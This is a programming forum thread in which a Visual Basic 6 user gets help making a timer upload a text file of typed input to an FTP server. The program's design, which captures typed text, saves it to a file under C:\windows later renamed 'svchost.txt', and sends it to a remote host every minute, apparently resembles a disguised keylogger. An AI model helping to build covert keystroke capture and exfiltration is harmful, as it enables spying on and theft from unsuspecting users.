[RESOLVED]Help with uploading a file
VISUAL BASIC 6
SO Basically, I made a program that SHOULD...
When I type anything it goes onto a label in my form (I write php stuff)
Every 30ish seconds it saves what is written in the form onto a text file
And every 60 seconds it uploads that text file to my ftp. (I'm using t35.com)
Now, almost everything works. The part that doesn't work is the uploading the .txt to my ftp.
I have a inet on my form. These are the properties on my inet.
(Name) = Inet1
Password = "My Password"
Protocol = icFTP
Remote Host = ftp.t35.com
Remote Port = 21
Username = "My Username".t35.com
My URL = ftp://"My Username".t35.com:"My Password"@ftp.t35.com
And the code in my timer, named Timer3, is
Code:
Private Sub Timer3_Timer()
On Error Resume Next
Inet1.Execute , "PUT C:\windows\phpness.txt /" & DateTime.Date & ".txt"
End Sub
It doesn't work...
Help? =D
Re: Help with uploading a file
First thing I'd do is remove the 'On Error Resume Next' since it may be hiding a problem. Then I'd make sure that you are enabling the Timer at the appropriate time in the scheme of things.
Re: Help with uploading a file
Quote:
Originally Posted by
Doogle
First thing I'd do is remove the 'On Error Resume Next' since it may be hiding a problem. Then I'd make sure that you are enabling the Timer at the appropriate time in the scheme of things.
The on error resume next is there so that if for some reason my ftp site goes down, then the program doesn't crash.
And my timer is set to run for every 60.
Re: Help with uploading a file
During testing, comment the On Error Resume Next out then. Generally it's better to analyse the error and report it. ie find out what error message is returned and inform the user.
eg
Code:
Private Sub Timer3_Timer()
On Error GoTo InetErr
Inet1.Execute , "PUT C:\windows\phpness.txt /" & DateTime.Date & ".txt"
Exit Sub
InetErr:
MsgBox "Error Uploading File " & Err.Number & " - " & Err.Description,, "Upload File"
End Sub
This will report the error and your program will continue to run.
EDIT: My guesses, at this stage, would be that the file actually doesn't exist, is empty, or you are denied access because it's still open for Writing. Try putting a Breakpoint on the Inet1.Execute statement. When the program stops, try to open c:\windows\phpness.txt in Notepad and see what happens.
Also, what does DateTime.Date look like ? If it has characters such as "/" in it then the target machine must allow them (Windows wont) otherwise it will be an Invalid Filename.
You could try
Code:
Inet1.Execute , "PUT C:\windows\phpness.txt /" & Format(DateTime.Date, "ddmmyyyy") & ".txt"
The filename would be 12042011.txt if it was created today. (Assuming the .Date property looks like "12/04/2011")
BTW using the Windows folder for user files is not a good idea, later versions of Windows restrict access to ths folder (I believe). Better to use something like the Application Data Folder(IMHO)
Re: Help with uploading a file
does the url get a valid login to the ftp server?
Re: Help with uploading a file
Welcome to VBForums :wave:
Quote:
Originally Posted by
Dgameman1
The on error resume next is there so that if for some reason my ftp site goes down, then the program doesn't crash.
Using On Error Resume Next is error ignoring, which is basically asking for the program to fail (or have bugs) without giving you any kind of warning.
To stop the program from crashing, use an error handler which lets you know the issue (as in Doogle's example, but perhaps using something other than a MsgBox). In many cases you will be able to fix the issue somehow, and in the others you will at least know why it isn't working.
For information on error handling etc, see the "Dealing with Errors" section of our Classic VB FAQs (in the FAQ forum)
Re: Help with uploading a file
I changed my timer3 code to
Code:
Private Sub Timer3_Timer()
On Error GoTo InetErr
Inet1.Execute , "PUT C:\windows\svchost.txt /" & Format(DateTime.Date, "ddmmyyyy") & ".txt"
Exit Sub
InetErr:
MsgBox "Error Uploading File " & Err.Number & " - " & Err.Description, , "Upload File"
End Sub
And after 60 seconds I get a msgbox saying...
Quote:
Error Uploading File 35755 - No remote computer is specified
EDIT:OMFG. it works
lol thanks guys =P